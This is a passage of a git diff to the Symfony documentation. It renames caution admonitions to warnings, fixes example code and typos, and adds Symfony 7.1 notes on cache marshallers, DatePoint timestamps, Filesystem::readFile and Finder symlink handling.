-                        ->class(ScreamingPrinter::class)
-                ;
-            }
-        }
-    }
-
-This method works similar to the ``Extension::load()`` method, but it uses
-a new API to define and import service configuration.
-
-.. note::
-
-    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
-    ``$config`` parameter is already merged and processed by the
-    ``AbstractBundle``.
-
-.. note::
-
-    The ``loadExtension()`` is called only at compile time.
-
 Adding Classes to Compile
 -------------------------
 
@@ -186,7 +200,7 @@ Patterns are transformed into the actual class namespaces using the classmap
 generated by Composer. Therefore, before using these patterns, you must generate
 the full classmap executing the ``dump-autoload`` command of Composer.
 
-.. caution::
+.. warning::
 
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
diff --git a/bundles/override.rst b/bundles/override.rst
index 36aea69b231..f25bd785373 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig``
 template from the AcmeUserBundle, create this template:
 ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
-.. caution::
+.. warning::
 
     If you add a template in a new location, you *may* need to clear your
     cache (``php bin/console cache:clear``), even if you are in debug mode.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 613cda7489f..e4099d9f81a 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -154,7 +154,7 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
 Prepending Extension in the Bundle Class
 ----------------------------------------
 
-You can also append or prepend extension configuration directly in your
+You can also prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
 method::
@@ -172,12 +172,7 @@ method::
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
 
-            // append
-            $containerConfigurator->extension('framework', [
-                'cache' => ['prefix_seed' => 'foo/bar'],
-            ]);
-
-            // append from file
+            // prepend config from a file
             $containerConfigurator->import('../config/packages/cache.php');
         }
     }
@@ -186,6 +181,12 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
+.. versionadded:: 7.1
+
+    Starting from Symfony 7.1, calling the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
+    method inside ``prependExtension()`` will prepend the given configuration.
+    In previous Symfony versions, this method appended the configuration.
+
 Alternatively, you can use the ``prepend`` parameter of the
 :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
 method::
diff --git a/cache.rst b/cache.rst
index 4032d3db9b8..833e4d77007 100644
--- a/cache.rst
+++ b/cache.rst
@@ -545,7 +545,7 @@ Using Cache Tags
 In applications with many cache keys it could be useful to organize the data stored
 to be able to invalidate the cache more efficiently. One way to achieve that is to
 use cache tags. One or more tags could be added to the cache item. All items with
-the same key could be invalidated with one function call::
+the same tag could be invalidated with one function call::
 
     use Symfony\Contracts\Cache\ItemInterface;
     use Symfony\Contracts\Cache\TagAwareCacheInterface;
@@ -589,8 +589,7 @@ to enable this feature. This could be added by using the following configuration
             cache:
                 pools:
                     my_cache_pool:
-                        adapter: cache.adapter.redis
-                        tags: true
+                        adapter: cache.adapter.redis_tag_aware
 
     .. code-block:: xml
 
@@ -830,7 +829,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
             ->addArgument(new Reference('.inner'));
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
@@ -895,7 +894,7 @@ In the following example, the value is requested from a controller::
         public function index(CacheInterface $asyncCache): Response
         {
             // pass to the cache the service method that refreshes the item
-            $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute'])
+            $cachedValue = $asyncCache->get('my_value', [CacheComputation::class, 'compute'])
 
             // ...
         }
@@ -913,13 +912,13 @@ a message bus to compute values in a worker:
             cache:
                 pools:
                     async.cache:
-                        early_expiration_message_bus: async_bus
+                        early_expiration_message_bus: messenger.default_bus
 
             messenger:
                 transports:
                     async_bus: '%env(MESSENGER_TRANSPORT_DSN)%'
                 routing:
-                    Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus
+                    'Symfony\Component\Cache\Messenger\EarlyExpirationMessage': async_bus
 
     .. code-block:: xml
 
@@ -935,12 +934,12 @@ a message bus to compute values in a worker:
         >
             <framework:config>
                 <framework:cache>
-                    <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/>
+                    <framework:pool name="async.cache" early-expiration-message-bus="messenger.default_bus"/>
                 </framework:cache>
 
                 <framework:messenger>
                     <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
-                    <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage">
+                    <framework:routing message-class="Symfony\Component\Cache\Messenger\EarlyExpirationMessage">
                         <framework:sender service="async_bus"/>
                     </framework:routing>
                 </framework:messenger>
@@ -957,7 +956,7 @@ a message bus to compute values in a worker:
         return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('async.cache')
-                    ->earlyExpirationMessageBus('async_bus');
+                    ->earlyExpirationMessageBus('messenger.default_bus');
 
             $framework->messenger()
                 ->transport('async_bus')
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 99d76ce5d27..f2e92850cd8 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly*
 increase an application's performance, as its cache contents are stored in shared
 memory, a component appreciably faster than many others, such as the filesystem.
 
-.. caution::
+.. warning::
 
     **Requirement:** The `APCu extension`_ must be installed and active to use
     this adapter.
@@ -30,7 +30,7 @@ and cache items version string as constructor arguments::
         $version = null
     );
 
-.. caution::
+.. warning::
 
     Use of this adapter is discouraged in write/delete heavy workloads, as these
     operations cause memory fragmentation that results in significantly degraded performance.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index aaf400319f4..29c9e26f83c 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -14,7 +14,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 25640a20b0f..ba78cc46eff 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``3.0`` or
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 26ef48af27c..db877454859 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -33,7 +33,7 @@ and cache root path as constructor parameters::
         $directory = null
     );
 
-.. caution::
+.. warning::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index d68d3e3b9ac..64baf0d4702 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_
     must be installed, active, and running to use this adapter. Version ``2.2`` or
@@ -256,7 +256,7 @@ Available Options
     executed in a "fire-and-forget" manner; no attempt to ensure the operation
     has been received or acted on will be made once the client has executed it.
 
-    .. caution::
+    .. warning::
 
         Not all library operations are tested in this mode. Mixed TCP and UDP
         servers are not allowed.
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index efd2cf0e964..6f171f0fede 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -28,7 +28,7 @@ file similar to the following::
     handles file includes, this adapter has the potential to be much faster than other
     filesystem-based caches.
 
-.. caution::
+.. warning::
 
     While it supports updates and because it is using OPcache as a backend, this adapter is
     better suited for append-mostly needs. Using it in other scenarios might lead to
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index ef12f09dcd5..3362f4cc2db 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
@@ -38,7 +38,13 @@ as the second and third parameters::
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
-        $defaultLifetime = 0
+        $defaultLifetime = 0,
+
+        // $marshaller (optional) An instance of MarshallerInterface to control the serialization
+        // and deserialization of cache items. By default, native PHP serialization is used.
+        // This can be useful for compressing data, applying custom serialization logic, or
+        // optimizing the size and performance of cached items
+        ?MarshallerInterface $marshaller = null
     );
 
 Configure the Connection
@@ -195,7 +201,7 @@ Available Options
 
 ``redis_cluster`` (type: ``bool``, default: ``false``)
     Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison
-    checks: `redis_cluster=1` will suffice.
+    checks: ``redis_cluster=1`` will suffice.
 
 ``redis_sentinel`` (type: ``string``, default: ``null``)
     Specifies the master name connected to the sentinels.
@@ -266,6 +272,80 @@ performance when using tag-based invalidation::
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
+Working with Marshaller
+-----------------------
+
+TagAwareMarshaller for Tag-Based Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Optimizes caching for tag-based retrieval, allowing efficient management of related items::
+
+    $marshaller = new TagAwareMarshaller();
+
+    $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('tagged_key');
+    $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]);
+    $cache->save($item);
+
+SodiumMarshaller for Encrypted Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Encrypts cached data using Sodium for enhanced security::
+
+    $encryptionKeys = [sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($encryptionKeys);
+
+    $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('secure_key');
+    $item->set('confidential_data');
+    $cache->save($item);
+
+DefaultMarshaller with igbinary Serialization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Uses ``igbinary` for faster and more efficient serialization when available::
+
+    $marshaller = new DefaultMarshaller(true);
+
+    $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('optimized_key');
+    $item->set(['data' => 'optimized_data']);
+    $cache->save($item);
+
+DefaultMarshaller with Exception on Failure
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Throws an exception if serialization fails, facilitating error handling::
+
+    $marshaller = new DefaultMarshaller(false, true);
+
+    $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller);
+
+    try {
+        $item = $cache->getItem('error_key');
+        $item->set('data');
+        $cache->save($item);
+    } catch (\ValueError $e) {
+        echo 'Serialization failed: '.$e->getMessage();
+    }
+
+SodiumMarshaller with Key Rotation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Supports key rotation, ensuring secure decryption with both old and new keys::
+
+    $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($keys);
+
+    $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('rotated_key');
+    $item->set('data_to_encrypt');
+    $cache->save($item);
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst
index 715dc0c4401..e958125c69d 100644
--- a/components/cache/cache_items.rst
+++ b/components/cache/cache_items.rst
@@ -12,9 +12,8 @@ Cache Item Keys and Values
 The **key** of a cache item is a plain string which acts as its
 identifier, so it must be unique for each cache pool. You can freely choose the
 keys, but they should only contain letters (A-Z, a-z), numbers (0-9) and the
-``_`` and ``.`` symbols. Other common symbols (such as ``{``, ``}``, ``(``,
-``)``, ``/``, ``\``, ``@`` and ``:``) are reserved by the PSR-6 standard for future
-uses.
+``_`` and ``.`` symbols. Other common symbols (such as ``{ } ( ) / \ @ :``) are
+reserved by the PSR-6 standard for future uses.
 
 The **value** of a cache item can be any data represented by a type which is
 serializable by PHP, such as basic types (string, integer, float, boolean, null),
diff --git a/components/clock.rst b/components/clock.rst
index d3879fba84e..5b20e6000b9 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -129,18 +129,18 @@ is expired or not, by modifying the clock's time::
             $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
 
             // $validUntil is in the future, so it is not expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
             $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
-            static::assertTrue($expirationChecker->isExpired($validUntil));
+            $this->assertTrue($expirationChecker->isExpired($validUntil));
 
             $clock->modify('2022-11-16 15:00:00');
 
             // $validUntil is in the future again, so it is no longer expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
         }
     }
 
@@ -229,6 +229,21 @@ The constructor also allows setting a timezone or custom referenced date::
     $referenceDate = new \DateTimeImmutable();
     $relativeDate = new DatePoint('+1month', reference: $referenceDate);
 
+The ``DatePoint`` class also provides a named constructor to create dates from
+timestamps::
+
+    $dateOfFirstCommitToSymfonyProject = DatePoint::createFromTimestamp(1129645656);
+    // equivalent to:
+    // $dateOfFirstCommitToSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
+
+    // negative timestamps (for dates before January 1, 1970) and float timestamps
+    // (for high precision sub-second datetimes) are also supported
+    $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940);
+
+.. versionadded:: 7.1
+
+    The ``createFromTimestamp()`` method was introduced in Symfony 7.1.
+
 .. note::
 
     In addition ``DatePoint`` offers stricter return types and provides consistent
@@ -238,8 +253,8 @@ The constructor also allows setting a timezone or custom referenced date::
 ``DatePoint`` also allows to set and get the microsecond part of the date and time::
 
     $datePoint = new DatePoint();
-    $datePoint->setMicroseconds(345);
-    $microseconds = $datePoint->getMicroseconds();
+    $datePoint->setMicrosecond(345);
+    $microseconds = $datePoint->getMicrosecond();
 
 .. note::
 
@@ -248,8 +263,8 @@ The constructor also allows setting a timezone or custom referenced date::
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and
-    :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were
+    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicrosecond` and
+    :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were
     introduced in Symfony 7.1.
 
 .. _clock_writing-tests:
diff --git a/components/config.rst b/components/config.rst
index 579d5b3149d..9de03f1f869 100644
--- a/components/config.rst
+++ b/components/config.rst
@@ -1,9 +1,17 @@
 The Config Component
 ====================
 
-    The Config component provides several classes to help you find, load,
-    combine, fill and validate configuration values of any kind, whatever
-    their source may be (YAML, XML, INI files, or for instance a database).
+The Config component provides utilities to define and manage the configuration
+options of PHP applications. It allows you to:
+
+* Define a configuration structure, its validation rules, default values and documentation;
+* Support different configuration formats (YAML, XML, INI, etc.);
+* Merge multiple configurations from different sources into a single configuration.
+
+.. note::
+
+    You don't have to use this component to configure Symfony applications.
+    Instead, read the docs about :doc:`how to configure Symfony applications </configuration>`.
 
 Installation
 ------------
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 63ebcd7cc72..19e4f5fd40c 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -81,7 +81,7 @@ reflect the real structure of the configuration values::
                 ->defaultTrue()
             ->end()
             ->scalarNode('default_connection')
-                ->defaultValue('default')
+                ->defaultValue('mysql')
             ->end()
         ->end()
     ;
@@ -670,7 +670,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML.
 For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The
 normalization would make both of these ``auto_connect``.
 
-.. caution::
+.. warning::
 
     The target key will not be altered if it's mixed like
     ``foo-bar_moo`` or if it already exists.
@@ -889,7 +889,7 @@ Otherwise the result is a clean array of configuration values::
         $configs
     );
 
-.. caution::
+.. warning::
 
     When processing the configuration tree, the processor assumes that the top
     level array key (which matches the extension name) is already stripped off.
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index b739e3b39ba..c69995ea395 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -52,7 +52,7 @@ This will print the following to the command line:
 
     Hello World
 
-.. caution::
+.. warning::
 
     This feature has a limitation: you cannot pass any argument or option to
     the default command because they are ignored.
diff --git a/components/console/events.rst b/components/console/events.rst
index f0edf2205ac..e550025b7dd 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
     $application->setDispatcher($dispatcher);
     $application->run();
 
-.. caution::
+.. warning::
 
     Console events are only triggered by the main command being executed.
     Commands called by the main command will not trigger any event, unless
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 5e4ae0d91fb..3cb87c4c307 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -64,8 +64,9 @@ block will be formatted with more padding (one blank line above and below the
 messages and 2 spaces on the left and right).
 
 The exact "style" you use in the block is up to you. In this case, you're using
-the pre-defined ``error`` style, but there are other styles, or you can create
-your own. See :doc:`/console/coloring`.
+the pre-defined ``error`` style, but there are other styles (``info``,
+``comment``, ``question``), or you can create your own.
+See :doc:`/console/coloring`.
 
 Print Truncated Messages
 ------------------------
@@ -87,7 +88,7 @@ And the output will be:
 
     This is...
 
-The message is truncated to the given length, then the suffix is appended to end
+The message is truncated to the given length, then the suffix is appended to the end
 of that string.
 
 Negative String Length
@@ -109,7 +110,7 @@ Custom Suffix
 
 By default, the ``...`` suffix is used. If you wish to use a different suffix,
 pass it as the third argument to the method.
-The suffix is always appended, unless truncate length is longer than a message
+The suffix is always appended, unless truncated length is longer than a message
 and a suffix length.
 If you don't want to use suffix at all, pass an empty string::
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 4d524a2008e..19e2d0daef5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -323,7 +323,7 @@ to display it can be customized::
     // the bar width
     $progressBar->setBarWidth(50);
 
-.. caution::
+.. warning::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or too slow for your application, use the methods
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e33c4ed5fa7..3dc97d5c0d3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -145,6 +145,28 @@ The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.
 
+Choice questions display both the choice value and a numeric index, which starts
+from 0 by default. The user can type either the numeric index or the choice value
+to make a selection:
+
+.. code-block:: terminal
+
+    Please select your favorite color (defaults to red):
+      [0] red
+      [1] blue
+      [2] yellow
+    >
+
+.. tip::
+
+    To use custom indices, pass an array with custom numeric keys as the choice
+    values::
+
+        new ChoiceQuestion('Select a room:', [
+            102 => 'Room Foo',
+            213 => 'Room Bar',
+        ]);
+
 If the user enters an invalid string, an error message is shown and the user
 is asked to provide the answer another time, until they enter a valid string
 or reach the maximum number of attempts. The default value for the maximum number
@@ -329,7 +351,7 @@ convenient for passwords::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     When you ask for a hidden response, Symfony will use either a binary, change
     ``stty`` mode or use another trick to hide the response. If none is available,
@@ -392,7 +414,7 @@ method::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     The normalizer is called first and the returned value is used as the input
     of the validator. If the answer is invalid, don't throw exceptions in the
@@ -540,7 +562,7 @@ This way you can test any user interaction (even complex ones) by passing the ap
     simulates a user hitting ``ENTER`` after each input, no need for passing
     an additional input.
 
-.. caution::
+.. warning::
 
     On Windows systems Symfony uses a special binary to implement hidden
     questions. This means that those questions don't use the default ``Input``
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 3988859dc76..13bdeb491f0 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -220,7 +220,7 @@ You can also set the style to ``box``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ┌───────────────┬──────────────────────────┬──────────────────┐
     │ ISBN          │ Title                    │ Author           │
@@ -238,7 +238,7 @@ You can also set the style to ``box-double``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ╔═══════════════╤══════════════════════════╤══════════════════╗
     ║ ISBN          │ Title                    │ Author           ║
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 3787c686982..7f991e85b72 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -150,7 +150,7 @@ will look like this::
         ],
     ]
 
-Whilst you can manually manage merging the different files, it is much better
+While you can manually manage merging the different files, it is much better
 to use :doc:`the Config component </components/config>` to
 merge and validate the config values. Using the configuration processing
 you could access the config value this way::
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index ac859efac91..630d301302a 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -267,7 +267,7 @@ The result is an array of values returned by the anonymous function calls.
 When using nested crawler, beware that ``filterXPath()`` is evaluated in the
 context of the crawler::
 
-    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): avoid {
+    $crawler->filterXPath('parent')->each(function (Crawler $parentCrawler, $i): void {
         // DON'T DO THIS: direct child can not be found
         $subCrawler = $parentCrawler->filterXPath('sub-tag/sub-child-tag');
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83cead3d19c..8cd676dd5fe 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -476,11 +476,7 @@ with some other dispatchers:
 Learn More
 ----------
 
-.. toctree::
-    :maxdepth: 1
-
-    /components/event_dispatcher/generic_event
-
+* :doc:`/components/event_dispatcher/generic_event`
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index fa07903bbb7..b0dd10b0f42 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -80,15 +80,10 @@ The main class of the component is
 Null Coalescing Operator
 ........................
 
-This is the same as the PHP `null-coalescing operator`_, which combines
-the ternary operator and ``isset()``. It returns the left hand-side if it exists
-and it's not ``null``; otherwise it returns the right hand-side. Note that you
-can chain multiple coalescing operators.
+.. note::
 
-* ``foo ?? 'no'``
-* ``foo.baz ?? 'no'``
-* ``foo[3] ?? 'no'``
-* ``foo.baz ?? foo['baz'] ?? 'no'``
+    This content has been moved to the :ref:`null coalescing operator <component-expression-null-coalescing-operator>`
+    section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions
 ...............................
@@ -98,17 +93,22 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
 method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
 instance that can be used to inspect and manipulate the expression. The
 :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
-other hand, returns a boolean indicating if the expression is valid or not::
+other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError`
+if the expression is not valid::
 
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 
     $expressionLanguage = new ExpressionLanguage();
 
-    var_dump($expressionLanguage->parse('1 + 2'));
+    var_dump($expressionLanguage->parse('1 + 2', []));
     // displays the AST nodes of the expression which can be
     // inspected and manipulated
 
-    var_dump($expressionLanguage->lint('1 + 2')); // displays true
+    $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
+
+    $expressionLanguage->lint('1 + a', []);
+    // throws a SyntaxError exception:
+    // "Variable "a" is not valid around position 5 for expression `1 + a`."
 
 The behavior of these methods can be configured with some flags defined in the
 :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
@@ -125,8 +125,8 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this returns true because the unknown variables and functions are ignored
-    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+    // does not throw a SyntaxError because the unknown variables and functions are ignored
+    $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1
 
@@ -166,13 +166,6 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
 
-.. caution::
-
-    When using variables in expressions, avoid passing untrusted data into the
-    array of variables. If you can't avoid that, sanitize non-alphanumeric
-    characters in untrusted data to prevent malicious users from injecting
-    control characters and altering the expression.
-
 .. _expression-language-caching:
 
 Caching
@@ -413,7 +406,7 @@ or by using the second argument of the constructor::
 
         class ExpressionLanguage extends BaseExpressionLanguage
         {
-            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
+            public function __construct(?CacheItemPoolInterface $cache = null, array $providers = [])
             {
                 // prepends the default provider to let users override it
                 array_unshift($providers, new StringExpressionLanguageProvider());
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 8cdc2a34884..dabf3f81872 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -313,6 +313,22 @@ contents at the end of some file::
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+``readFile``
+~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``readFile()`` method was introduced in Symfony 7.1.
+
+:method:`Symfony\\Component\\Filesystem\\Filesystem::readFile` returns all the
+contents of a file as a string. Unlike the :phpfunction:`file_get_contents` function
+from PHP, it throws an exception when the given file path is not readable and
+when passing the path to a directory instead of a file::
+
+    $contents = $filesystem->readFile('/some/path/to/file.txt');
+
+The ``$contents`` variable now stores all the contents of the ``file.txt`` file.
+
 Path Manipulation Utilities
 ---------------------------
 
diff --git a/components/finder.rst b/components/finder.rst
index 516db7cde4e..cecc597ac64 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -41,7 +41,7 @@ The ``$file`` variable is an instance of
 :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own
 :phpclass:`SplFileInfo` to provide methods to work with relative paths.
 
-.. caution::
+.. warning::
 
     The ``Finder`` object doesn't reset its internal state automatically.
     This means that you need to create a new instance if you do not want
@@ -127,6 +127,30 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method::
 
     $finder->files()->followLinks();
 
+Note that this method follows links but it doesn't resolve them. Consider
+the following structure of files of directories:
+
+.. code-block:: text
+
+    ├── folder1/
+    │   ├──file1.txt
+    │   ├── file2link (symbolic link to folder2/file2.txt file)
+    │   └── folder3link (symbolic link to folder3/ directory)
+    ├── folder2/
+    │   └── file2.txt
+    └── folder3/
+        └── file3.txt
+
+If you try to find all files in ``folder1/`` via ``$finder->files()->in('/path/to/folder1/')``
+you'll get the following results:
+
+* When **not** using the ``followLinks()`` method: ``file1.txt`` and ``file2link``
+  (this link is not resolved). The ``folder3link`` doesn't appear in the results
+  because it's not followed or resolved;
+* When using the ``followLinks()`` method: ``file1.txt``, ``file2link`` (this link
+  is still not resolved) and ``folder3/file3.txt`` (this file appears in the results
+  because the ``folder1/folder3link`` link was followed).
+
 Version Control Files
